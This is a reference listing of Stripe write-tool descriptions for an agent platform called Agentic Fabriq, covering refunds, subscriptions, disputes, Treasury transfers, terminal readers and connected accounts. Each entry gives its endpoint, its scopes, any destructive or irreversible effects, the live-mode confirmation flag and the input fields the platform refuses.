Customer. To attach a new PaymentMethod to a customer for future payments, we recommend you use a SetupIntent or a PaymentIntent with setup_future_usage. These approaches will perform any necessary steps to set up the PaymentMethod for future payments. The inverse of stripe_detach_payment_method. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/attach-payment-method. Scopes: stripe_write_customers. stripe_cancel_climate_order (write, destructive) — DESTRUCTIVE: cancel a carbon-removal order. Stripe refunds the uncertified portion to the account balance and KEEPS the rest -- anything the supplier has already delivered is not refundable, so the money back is usually less than the money spent, and there is no un-cancel. This is the inverse of stripe_create_climate_order and it is deliberately not a clean one. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/cancel-climate-order. Scopes: stripe_write_climate. stripe_cancel_customer_subscription (write, destructive) — DESTRUCTIVE. Cancels a customer's subscription. If you set the at_period_end parameter to true, the subscription will remain active until the end of the period, at which point it will be canceled and not renewed. Otherwise, with the default false value, the subscription is terminated immediately. In either case, the customer will not be charged again for the subscription. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/cancel-customer-subscription. Scopes: stripe_write_customers. stripe_cancel_identity_verification_session (write, destructive) — DESTRUCTIVE: cancel an identity verification session that has not been completed, invalidating its link so the person cannot finish it. There is no un-cancel: a new session has to be created and the person asked to submit their documents again. Their already-collected data is NOT deleted by this -- stripe_redact_identity_verification_session is the action that does that. POST /api/v1/tools/stripe/cancel-identity-verification-session. Scopes: stripe_write_identity. stripe_cancel_payment_intent (write, destructive) — Cancel a PaymentIntent that has not completed, which RELEASES an uncaptured card hold back to the cardholder. This is a SAFETY operation: a hold left in place keeps the customer's funds unavailable for up to seven days, and until now Agentic Fabriq offered no way to release one. Works while the intent is requires_payment_method, requires_capture, requires_confirmation, requires_action or (rarely) processing; anything already succeeded must be refunded with stripe_create_refund instead. DESTRUCTIVE and one-way: a cancelled PaymentIntent cannot be revived, the customer has to start a new payment, and any amount_capturable is automatically refunded. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/cancel-payment-intent. Scopes: stripe_write_payments. stripe_cancel_payout (write) — You can cancel a previously created payout if its status is pending. Stripe refunds the funds to your available balance. You can't cancel automatic Stripe payouts. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/cancel-payout. Scopes: stripe_write_payments. stripe_cancel_quote (write, destructive) — DESTRUCTIVE. Cancels the quote. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/cancel-quote. Scopes: stripe_write_billing. stripe_cancel_refund (write) — Cancels a refund with a status of requires_action. You can't cancel refunds in other states. Only refunds for payment methods that require customer action can enter the requires_action state. The inverse of stripe_create_refund, and the ONLY one Stripe offers: it works exclusively while the refund is still in `pending` status (bank-transfer style methods). A `succeeded` refund cannot be cancelled or reversed by anyone -- the money is gone. Check stripe_get_refund first. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/cancel-refund. Scopes: stripe_write_refunds. stripe_cancel_setup_intent (write, destructive) — DESTRUCTIVE: abandon a SetupIntent that has not succeeded. No money is involved either way, but the object is finished afterwards -- it cannot be revived, and the customer has to be sent through a new setup flow. Use it to clear an abandoned 'add a card' attempt rather than leaving it pending. POST /api/v1/tools/stripe/cancel-setup-intent. Scopes: stripe_write_payments. stripe_cancel_subscription (write, destructive) — DESTRUCTIVE — stops a real billing relationship when this connection uses a live key. By DEFAULT (immediately=false) it sets cancel_at_period_end, which is REVERSIBLE: the customer keeps access until the period they have already paid for ends, no proration is calculated, and a human can undo it in the Stripe dashboard before then. That is what a support request almost always means. With immediately=true it cancels NOW, which is TERMINAL — Stripe has no un-cancel, and restoring service means creating a new subscription with a new billing anchor and no history. Prefer the default unless the user explicitly asked to stop billing today. On a live-mode connection this call is REFUSED unless you pass confirm_live_mode=true. POST /api/v1/tools/stripe/subscription/cancel. Scopes: stripe_write_billing. stripe_cancel_subscription_schedule (write, destructive) — DESTRUCTIVE. Cancels a subscription schedule and its associated subscription immediately (if the subscription schedule has an active subscription). A subscription schedule can only be canceled if its status is not_started or active. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/cancel-subscription-schedule. Scopes: stripe_write_billing. stripe_cancel_terminal_reader_action (write) — Clear whatever the reader is currently showing or waiting for and return it to idle. This is the SAFETY action of the Terminal family: it is how a payment prompt left on a screen in front of a customer gets taken down. It never takes money and it is the inverse of the process/collect actions. POST /api/v1/tools/stripe/cancel-terminal-reader-action. Scopes: stripe_write_terminal. stripe_cancel_topup (write) — Cancels a top-up. Only pending top-ups can be canceled. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/cancel-topup. Scopes: stripe_write_payments. stripe_cancel_treasury_inbound_transfer (write) — Stop an inbound transfer before it is submitted to the bank -- the inverse of stripe_create_treasury_inbound_transfer and a safety action, not a destructive one. Once the transfer has been submitted Stripe refuses, and the money can only come back as a return. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/cancel-treasury-inbound-transfer. Scopes: stripe_write_treasury. stripe_cancel_treasury_outbound_payment (write) — Stop an outbound payment before it is submitted to the network -- the inverse of stripe_create_treasury_outbound_payment and the only undo that exists. Stripe refuses once the payment has been posted. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/cancel-treasury-outbound-payment. Scopes: stripe_write_treasury. stripe_cancel_treasury_outbound_transfer (write) — Stop an outbound transfer before it is submitted to the network -- the inverse of stripe_create_treasury_outbound_transfer. Stripe refuses once it has been posted. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/cancel-treasury-outbound-transfer. Scopes: stripe_write_treasury. stripe_close_charge_dispute (write, destructive) — DESTRUCTIVE. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/close-charge-dispute. Scopes: stripe_write_payments. stripe_close_dispute (write, destructive) — DESTRUCTIVE. Closing the dispute for a charge indicates that you do not have any evidence to submit and are essentially dismissing the dispute (accepting it), acknowledging it as lost. The status of the dispute will change from needs_response to lost. Closing a dispute is irreversible. IRREVERSIBLE, in Stripe's own words: "Closing a dispute is irreversible." It forfeits the disputed amount to the cardholder and counts against the account's dispute rate. There is no reopen. Use it only when a human has decided not to contest. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/close-dispute. Scopes: stripe_write_disputes. stripe_close_treasury_financial_account (write, destructive) — DESTRUCTIVE and permanent: close a Treasury financial account. Stripe requires a zero balance first and there is NO reopen -- a new account means new account and routing numbers, so every payer sending to the old ones has to be told. Read the balance with stripe_get_treasury_financial_account before calling this. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/close-treasury-financial-account. Scopes: stripe_write_treasury. stripe_collect_terminal_reader_inputs (write) — Ask the person at the reader a question on its screen -- signature, selection, phone number, email, a numeric or text entry -- and return what they enter. No money moves. Everything collected is customer input that will land in the agent's context, so ask for the minimum the task needs. stripe_cancel_terminal_reader_action aborts the prompt. POST /api/v1/tools/stripe/collect-terminal-reader-inputs. Scopes: stripe_write_terminal. stripe_collect_terminal_reader_payment_method (write) — Prompt the reader to collect the customer's card details for an existing PaymentIntent WITHOUT charging it -- the two- step form of in-person payment, where stripe_confirm_terminal_reader_payment_intent is the step that takes the money. Nothing is charged by this call, but it puts a live prompt in front of a real person, so it is live-mode gated and needs confirm_live_mode=true on a live connection. stripe_cancel_terminal_reader_action takes the prompt down. POST /api/v1/tools/stripe/collect-terminal-reader-payment-method. Scopes: stripe_write_terminal. stripe_confirm_setup_intent (write) — Confirm a SetupIntent with a payment method that already exists, which is what actually saves the instrument against the customer for future billing. It takes no money now; it authorises future charges, which is why it is live-mode gated. Refuses inline payment_method_data (raw card details, E8), return_url (a caller-chosen URL, E2) and client_secret. If the bank asks for authentication the intent lands in requires_action and a human has to finish it -- an agent cannot. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/confirm-setup-intent. Scopes: stripe_write_payments. stripe_confirm_terminal_reader_payment_intent (write, destructive) — DESTRUCTIVE: confirm a PaymentIntent whose card details the reader has already collected, which is the step that actually charges the cardholder. Bounded by the PaymentIntent's own amount, which this call does not set. The undo is a refund and it does not return the processing fee. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/confirm-terminal-reader-payment-intent. Scopes: stripe_write_terminal. stripe_create_account_tax_id (write) — Creates a new account or customer tax_id object. POST /api/v1/tools/stripe/create-account-tax-id. Scopes: stripe_write_customers. stripe_create_application_fee_refund (write, destructive) — DESTRUCTIVE. Refunds an application fee that has previously been collected but not yet refunded. Funds will be refunded to the Stripe account from which the fee was originally collected. You can optionally refund only part of an application fee. You can do so multiple times, until the entire fee has been refunded. Once entirely refunded, an application fee can't be refunded again. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-application-fee-refund. Scopes: stripe_write_refunds. stripe_create_billing_alert (write) — Creates a billing alert POST /api/v1/tools/stripe/create-billing-alert. Scopes: stripe_write_billing. stripe_create_billing_credit_grant (write, destructive) — DESTRUCTIVE. Creates a credit grant. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-billing-credit-grant. Scopes: stripe_write_billing. stripe_create_billing_meter (write) — Creates a billing meter. POST /api/v1/tools/stripe/create-billing-meter. Scopes: stripe_write_billing. stripe_create_billing_meter_event (write) — Creates a billing meter event. POST /api/v1/tools/stripe/create-billing-meter-event. Scopes: stripe_write_billing. stripe_create_billing_meter_event_adjustment (write) — Creates a billing meter event adjustment. POST /api/v1/tools/stripe/create-billing-meter-event-adjustment. Scopes: stripe_write_billing. stripe_create_billing_portal_configuration (write) — Create a customer-portal configuration: which self-service actions customers may take -- update payment method, cancel a subscription, switch plans, view invoices. NOTE what this really decides: it is the rule set customers act under, so enabling subscription_cancel lets every customer cancel without touching Stripe again. `features` is required. It creates no session and exposes no link -- portal sessions are refused (E1, they mint a credential-bearing URL). POST /api/v1/tools/stripe/create-billing-portal-configuration. Scopes: stripe_write_billing. stripe_create_charge_refund (write, destructive) — DESTRUCTIVE. When you create a new refund, you must specify a Charge or a PaymentIntent object on which to create it. Creating a new refund will refund a charge that has previously been created but not yet refunded. Funds will be refunded to the credit or debit card that was originally charged. You can optionally refund only part of a charge. You can do so multiple times, until the entire charge has been refunded. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-charge-refund. Scopes: stripe_write_refunds. stripe_create_climate_order (write) — Buy carbon removal from a Stripe Climate supplier, priced either by `amount` (a hard cash ceiling in the smallest currency unit) or by `metric_tons`. THIS SPENDS REAL MONEY off the account balance. It ships rather than being refused because Stripe offers the cap parameter that E4 asks for -- pass `amount` and the spend is bounded by construction. Its inverse is stripe_cancel_climate_order, which works only until the supplier confirms delivery. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-climate-order. Scopes: stripe_write_climate. stripe_create_connected_account (write) — Create a connected account under this platform -- the first step of onboarding a merchant, seller or service provider. Creating one charges nothing and takes no money; it cannot accept payments until its capabilities are requested and its verification requirements are met, which stripe_get_connected_account reports. Its inverse is stripe_delete_connected_account, which only works while the account has no balance. The payout destination cannot be set here: external_account and bank_account are refused, because they redirect every future payout and carry raw bank details. Government identification numbers are refused wherever they appear, including nested under individual or company. POST /api/v1/tools/stripe/create-connected-account. Scopes: stripe_write_connect. stripe_create_connected_account_people_alias (write) — Add a person -- director, owner, executive or representative -- to a connected account so Stripe can verify it. `relationship` is what makes the person count towards a requirement; a person with no relationship flags satisfies nothing. Government identification numbers are REFUSED as arguments (id_number, ssn_last_4 and the person_token that carries them): putting a national identity number in an agent's prompt is the same compliance move as putting a card number there, so that step stays with the human onboarding flow. Everything else -- name, date of birth, address, email, relationship -- is here. Stripe publishes /people and /persons as the SAME endpoint under two names; this is the /people spelling and stripe_create_connected_account_person is the /persons one. Either works. POST /api/v1/tools/stripe/create-connected-account-people-alias. Scopes: stripe_write_connect. stripe_create_connected_account_person (write) — Add a person -- director, owner, executive or representative -- to a connected account so Stripe can verify it. `relationship` is what makes the person count towards a requirement; a person with no relationship flags satisfies nothing. Government identification numbers are REFUSED as arguments (id_number, ssn_last_4 and the person_token that carries them): putting a national identity number in an agent's prompt is the same compliance move as putting a card number there, so that step stays with the human onboarding flow. Everything else -- name, date of birth, address, email, relationship -- is here. POST /api/v1/tools/stripe/create-connected-account-person. Scopes: stripe_write_connect. stripe_create_coupon (write) — You can create coupons easily via the coupon management page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly. A coupon has either a percent_off or an amount_off and currency. If you set an amount_off, that amount will be subtracted from any invoice's subtotal. POST /api/v1/tools/stripe/create-coupon. Scopes: stripe_write_catalog. stripe_create_credit_note (write, destructive) — DESTRUCTIVE. Issue a credit note to adjust the amount of a finalized invoice. A credit note will first reduce the invoice's amount_remaining (and amount_due), but not below zero. This amount is indicated by the credit note's pre_payment_amount. The correct instrument for "cancel this invoice's charge" on an invoiced customer, and bounded like a refund: Stripe caps it at the invoice total. Note that `refund_amount` on the same call ALSO moves real money out of the balance, exactly like stripe_create_refund and with the same irreversibility. The inverse is stripe_void_credit_note. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-credit-note. Scopes: stripe_write_billing. stripe_create_customer (write) — Create a Stripe customer with contact details only: email, name, phone, address, description and metadata. No payment method, no balance and no default source -- attaching a card is stripe_attach_payment_method, and the balance field is refused for the same reason it is refused on stripe_update_customer. The inverse is stripe_delete_customer, which is permanent. POST /api/v1/tools/stripe/create-customer. Scopes: stripe_write_customers. stripe_create_customer_subscription (write, destructive) — DESTRUCTIVE. Creates a new subscription on an existing customer. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-customer-subscription. Scopes: stripe_write_customers. stripe_create_customer_tax_id (write) — Creates a new tax_id object for a customer. POST /api/v1/tools/stripe/create-customer-tax-id. Scopes: stripe_write_customers. stripe_create_entitlement_feature (write) — Creates an entitlement feature -- a named capability of your product that subscriptions can grant, such as "api_access" or "priority_support". Creating one changes nothing for existing customers on its own; a feature only takes effect once it is attached to a product. Stripe does not let a feature's lookup_key be changed afterwards, so the key chosen here is permanent. POST /api/v1/tools/stripe/create-entitlement-feature. Scopes: stripe_write_billing. stripe_create_invoice (write) — This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you finalize the invoice, which allows you to pay or send the invoice to your customers. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-invoice. Scopes: stripe_write_billing. stripe_create_invoiceitem (write) — Creates an item to be added to a draft invoice (up to 250 items per invoice). If no invoice is specified, the item will be on the next invoice created for the customer specified. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-invoiceitem. Scopes: stripe_write_billing. stripe_create_issuing_card (write) — Issue a virtual or physical card to a cardholder. THIS CREATES A SPENDING INSTRUMENT: every authorization it approves is real money off the funding balance. `spending_controls` is REQUIRED here even though Stripe makes it optional -- E4 says an operation with a cap parameter ships WITH the cap, so a card without a spending limit is not something Agentic Fabriq will create. Set spending_controls[spending_limits][0][amount] and [interval]. The PIN is refused (E8). Its inverse is stripe_update_issuing_card with status=canceled, which is terminal. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-issuing-card. Scopes: stripe_write_issuing. stripe_create_issuing_cardholder (write) — Create the person or company a card will be issued to. This spends nothing on its own -- a cardholder with no card cannot transact -- but it is the prerequisite for stripe_create_issuing_card. `billing` and `name` are required. Government identification numbers are refused as arguments (E8); the individual's verification documents go through Stripe's own flow. POST /api/v1/tools/stripe/create-issuing-cardholder. Scopes: stripe_write_issuing. stripe_create_issuing_dispute (write) — Dispute a transaction on a card this account ISSUED -- the chargeback the platform files on its cardholder's behalf, bounded by the transaction's own amount. Creating it does not submit it: it stays in unsubmitted until stripe_submit_issuing_dispute sends it to the card network, so evidence can be assembled first. Needs confirm_live_mode=true on a live connection because it claims real money back. POST /api/v1/tools/stripe/create-issuing-dispute. Scopes: stripe_write_issuing. stripe_create_issuing_personalization_design (write) — Create a physical-card design -- logo, carrier text and the physical bundle it prints on. No money moves; Stripe reviews the design before it can be used. Get a physical_bundle id from stripe_list_issuing_physical_bundles and a card logo file id from stripe_list_files. POST /api/v1/tools/stripe/create-issuing-personalization-design. Scopes: stripe_write_issuing. stripe_create_payment_method_configuration (write) — Create a named set of payment methods to offer at checkout -- card, Link, Klarna, iDEAL, SEPA and the rest -- each turned on or off through its display_preference. It charges nothing; it decides what customers are offered. Every payment method Stripe publishes is declared here rather than a chosen subset, because a payment method left out of the schema is one an agent silently cannot enable. POST /api/v1/tools/stripe/create-payment-method-configuration. Scopes: stripe_write_payments. stripe_create_plan (write) — You can now model subscriptions more flexibly using the Prices API. It replaces the Plans API and is backwards compatible to simplify your migration. POST /api/v1/tools/stripe/create-plan. Scopes: stripe_write_catalog. stripe_create_price (write) — Creates a new Price for an existing Product. The Price can be recurring or one-time. POST /api/v1/tools/stripe/create-price. Scopes: stripe_write_catalog. stripe_create_product (write) — Creates a new product object. POST /api/v1/tools/stripe/create-product. Scopes: stripe_write_catalog. stripe_create_product_feature (write) — Creates a product_feature, which represents a feature attachment to a product POST /api/v1/tools/stripe/create-product-feature. Scopes: stripe_write_catalog. stripe_create_promotion_code (write) — A promotion code points to an underlying promotion. You can optionally restrict the code to a specific customer, redemption limit, and expiration date. POST /api/v1/tools/stripe/create-promotion-code. Scopes: stripe_write_catalog. stripe_create_quote (write) — A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the quote template. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-quote. Scopes: stripe_write_billing. stripe_create_refund (write, destructive) — DESTRUCTIVE — MOVES REAL MONEY when this connection uses a live key. Returns funds from the Stripe balance to the customer's original payment method. There is NO un-refund: once issued it cannot be reversed from Stripe or from Agentic Fabriq, and the card processing fee on the original charge is generally not returned. Stripe caps the amount at the charge's remaining unrefunded balance, so it can never overshoot — but it can be issued TWICE if you do not check first, so call stripe_list_refunds before this one. Provide exactly one of `charge` or `payment_intent`. `amount` is in the currency's smallest unit (1250 = $12.50 for USD); omit it to refund the full remaining amount. On a live-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check `stripe_mode` from any read tool first. Supply a stable `idempotency_key` derived from the thing being refunded if there is any chance of retrying. POST /api/v1/tools/stripe/refunds. Scopes: stripe_write_refunds. stripe_create_reporting_report_run (write) — Run one of Stripe's own reports -- balance change from activity, payout reconciliation, itemised payments, customer lists -- over a date range, and return a file id to download with stripe_get_file. THIS IS A BULK EXPORT: a report run can materialise every balance transaction, payout or customer row in the range into a single file, which is a far larger disclosure than any list action here. It stays bounded because the file goes to STRIPE'S OWN storage, never to a destination this call names, and because the date range in `parameters` is the ceiling -- set interval_start and interval_end deliberately rather than omitting them. Get valid report_type values from stripe_list_reporting_report_types. POST /api/v1/tools/stripe/create-reporting-report-run. Scopes: stripe_write_reporting. stripe_create_setup_intent (write) — Start collecting a card or bank account to store on file for later billing, without charging anything now. A SetupIntent takes NO money: it is the object behind 'add a payment method to this subscription'. Agentic Fabriq refuses the inline payment_method_data (raw card details, E8) and return_url (a caller-chosen URL, E2), so this creates the intent and the customer completes it in a Stripe-hosted flow, or the agent attaches a payment method that already exists. The client_secret Stripe returns is scrubbed from the result. POST /api/v1/tools/stripe/create-setup-intent. Scopes: stripe_write_payments. stripe_create_shipping_rate (write) — Creates a new shipping rate object. POST /api/v1/tools/stripe/create-shipping-rate. Scopes: stripe_write_catalog. stripe_create_subscription (write, destructive) — DESTRUCTIVE. Creates a new subscription on an existing customer. Each customer can have up to 500 active or scheduled subscriptions. When you create a subscription with collection_method=charge_automatically, the first invoice is finalized as part of the request. The payment_behavior parameter determines the exact behavior of the initial payment. Starts real recurring billing on a real customer's saved payment method. It is bounded by a real prior object -- the amount comes from a price_... id a human created, not from a number the agent chose -- which is why it ships where stripe charge creation does not, but the loss is recurring rather than one-off. The inverse is stripe_cancel_subscription. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-subscription. Scopes: stripe_write_billing. stripe_create_subscription_item (write, destructive) — DESTRUCTIVE. Adds a new item to an existing subscription. No existing items will be changed or replaced. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-subscription-item. Scopes: stripe_write_billing. stripe_create_subscription_schedule (write, destructive) — DESTRUCTIVE. Creates a new subscription schedule object. Each customer can have up to 500 active or scheduled subscriptions. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-subscription-schedule. Scopes: stripe_write_billing. stripe_create_tax_calculation (write) — Calculates tax based on the input and returns a Tax Calculation object. POST /api/v1/tools/stripe/create-tax-calculation. Scopes: stripe_write_tax. stripe_create_tax_rate (write) — Creates a new tax rate. POST /api/v1/tools/stripe/create-tax-rate. Scopes: stripe_write_catalog. stripe_create_tax_registration (write) — Creates a new Tax Registration object. POST /api/v1/tools/stripe/create-tax-registration. Scopes: stripe_write_tax. stripe_create_tax_transaction (write) — Creates a Tax Transaction from a calculation, if that calculation hasn't expired. Calculations expire after 90 days. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-tax-transaction. Scopes: stripe_write_tax. stripe_create_terminal_configuration (write) — Create a reader configuration profile: tipping options, reboot window and the per-model display settings. It changes how readers behave, not what they charge. Its inverse is stripe_delete_terminal_configuration. POST /api/v1/tools/stripe/create-terminal-configuration. Scopes: stripe_write_terminal. stripe_create_terminal_location (write) — Create the physical address a set of readers belongs to. No money moves. Its inverse is stripe_delete_terminal_location. POST /api/v1/tools/stripe/create-terminal-location. Scopes: stripe_write_terminal. stripe_create_terminal_reader (write) — Register a physical card reader against a location using the registration code shown on the device. No money moves and the device takes no payments until one is driven to it. Its inverse is stripe_delete_terminal_reader. Get a location id from stripe_list_terminal_locations. POST /api/v1/tools/stripe/create-terminal-reader. Scopes: stripe_write_terminal. stripe_create_terminal_refund (write, destructive) — DESTRUCTIVE. Internal endpoint for terminal use to create a refund for a card_present or card charge. You can optionally refund only part of a charge. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/create-terminal-refund. Scopes: stripe_write_refunds. stripe_create_treasury_credit_reversal (write, destructive) — DESTRUCTIVE: send a ReceivedCredit back to where it came from. THIS MOVES REAL MONEY OUT of the financial account, bounded by the original credit's amount, and there is no un- reverse -- the sender has to send it again. This is the correct handling for money that arrived in error. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-treasury-credit-reversal. Scopes: stripe_write_treasury. stripe_create_treasury_debit_reversal (write, destructive) — DESTRUCTIVE: reverse a ReceivedDebit, pulling the money back into the financial account. Bounded by the original debit and only possible while Stripe still allows it (reversible=true on the debit). It cannot be undone once submitted. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-treasury-debit-reversal. Scopes: stripe_write_treasury. stripe_create_treasury_financial_account (write) — Open a Treasury stored-value account for a connected account. Creating one moves no money; it is the container the money later sits in. `supported_currencies` is required. Its inverse is stripe_close_treasury_financial_account, which Stripe only allows at a zero balance. POST /api/v1/tools/stripe/create-treasury-financial-account. Scopes: stripe_write_treasury. stripe_create_treasury_inbound_transfer (write, destructive) — DESTRUCTIVE: debit a verified external bank account and move the money INTO a Treasury financial account. THIS MOVES REAL MONEY out of somebody's bank account -- bounded by the required `amount`, and only to an origin_payment_method that already exists on the account. It can be returned by the bank days later, which reverses the balance. stripe_cancel_treasury_inbound_transfer works only while it is still processing. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-treasury-inbound-transfer. Scopes: stripe_write_treasury. stripe_create_treasury_outbound_payment (write, destructive) — DESTRUCTIVE: send money from a Treasury financial account to a third party by ACH or wire. THIS MOVES REAL MONEY OUT and a settled outbound payment cannot be recalled by anyone at Stripe. It ships rather than being refused because `amount` is a required cap, but the RECIPIENT is the risk here, so Agentic Fabriq refuses destination_payment_method_data -- the field that would let a call name a brand-new bank account inline. Only a destination the account already holds can be paid. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-treasury-outbound-payment. Scopes: stripe_write_treasury. stripe_create_treasury_outbound_transfer (write, destructive) — DESTRUCTIVE: move money from a Treasury financial account out to the connected account's OWN linked bank account. THIS MOVES REAL MONEY OUT, bounded by the required `amount`, and a settled transfer cannot be recalled. destination_payment_method_data is refused, so it can only go to a destination the account already holds. stripe_cancel_treasury_outbound_transfer works until it is submitted. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/create-treasury-outbound-transfer. Scopes: stripe_write_treasury. stripe_deactivate_billing_alert (write) — Deactivates this alert, preventing it from triggering. POST /api/v1/tools/stripe/deactivate-billing-alert. Scopes: stripe_write_billing. stripe_deactivate_billing_meter (write, destructive) — DESTRUCTIVE. When a meter is deactivated, no more meter events will be accepted for this meter. You can't attach a deactivated meter to a price. POST /api/v1/tools/stripe/deactivate-billing-meter. Scopes: stripe_write_billing. stripe_decline_issuing_authorization (write, destructive) — DESTRUCTIVE: decline a pending card authorization. No money moves, but a real person's card is refused at a real terminal and there is no undo -- the merchant has to run the transaction again. It is the inverse of stripe_approve_issuing_authorization and the safer default when the answer is unclear. POST /api/v1/tools/stripe/decline-issuing-authorization. Scopes: stripe_write_issuing. stripe_delete_account_tax_id (write) — Deletes an existing account or customer tax_id object. POST /api/v1/tools/stripe/delete-account-tax-id. Scopes: stripe_write_customers. stripe_delete_apple_pay_domain (write) — Delete an apple pay domain. POST /api/v1/tools/stripe/delete-apple-pay-domain. Scopes: stripe_write_payments. stripe_delete_connected_account (write, destructive) — DESTRUCTIVE and permanent: delete a connected account. Stripe refuses while the account holds a balance or has pending payouts, which is the only guard there is -- once it succeeds the account, its people and its payment history are gone from the platform's view and no Agentic Fabriq action brings them back. Prefer stripe_reject_connected_account, which stops the account and IS reversible with stripe_unreject_connected_account. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/delete-connected-account. Scopes: stripe_write_connect. stripe_delete_connected_account_bank_account (write, destructive) — DESTRUCTIVE: remove a bank account from a connected account's payout destinations. If it was the default for its currency, payouts in that currency STOP until another one is set -- and Agentic Fabriq cannot put it back, because adding an external account carries raw bank and routing numbers and is refused (E8). The undo is a human in the Stripe dashboard. Read stripe_list_connected_account_external_accounts first to see whether this is the default. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/delete-connected-account-bank-account. Scopes: stripe_write_connect. stripe_delete_connected_account_external_account (write, destructive) — DESTRUCTIVE: remove a payout destination (bank account or debit card) from a connected account. Same warning as stripe_delete_connected_account_bank_account and the same missing undo: deleting the default destination stops payouts in that currency, and re-adding one is refused by Agentic Fabriq because it carries raw bank or card details. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/delete-connected-account-external-account. Scopes: stripe_write_connect. stripe_delete_connected_account_people_alias (write, destructive) — DESTRUCTIVE: remove a person from a connected account. Stripe refuses to delete a person who is the account_opener, and removing anyone else can re-open a verification requirement the account had already satisfied, which stops payouts. Re-adding is possible with the create action but the identity documents and verification status do NOT come back -- those have to be supplied again through the human onboarding flow, so treat this as one-way. The /people spelling of the same Stripe endpoint as stripe_delete_connected_account_person. POST /api/v1/tools/stripe/delete-connected-account-people-alias. Scopes: stripe_write_connect. stripe_delete_connected_account_person (write, destructive) — DESTRUCTIVE: remove a person from a connected account. Stripe refuses to delete a person who is the account_opener, and removing anyone else can re-open a verification requirement the account had already satisfied, which stops payouts. Re-adding is possible with the create action but the identity documents and verification status do NOT come back -- those have to be supplied again through the human onboarding flow, so treat this as one-way. POST /api/v1/tools/stripe/delete-connected-account-person. Scopes: stripe_write_connect. stripe_delete_coupon (write, destructive) — DESTRUCTIVE. You can delete coupons via the coupon management page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new customers can't redeem the coupon. You can also delete coupons via the API. POST /api/v1/tools/stripe/delete-coupon. Scopes: stripe_write_catalog. stripe_delete_customer (write, destructive) — DESTRUCTIVE. Permanently deletes a customer. It cannot be undone. Also immediately cancels any active subscriptions on the customer. Permanent, and it cascades: the customer's payment methods are detached and every subscription they hold is cancelled. Stripe has no undelete. 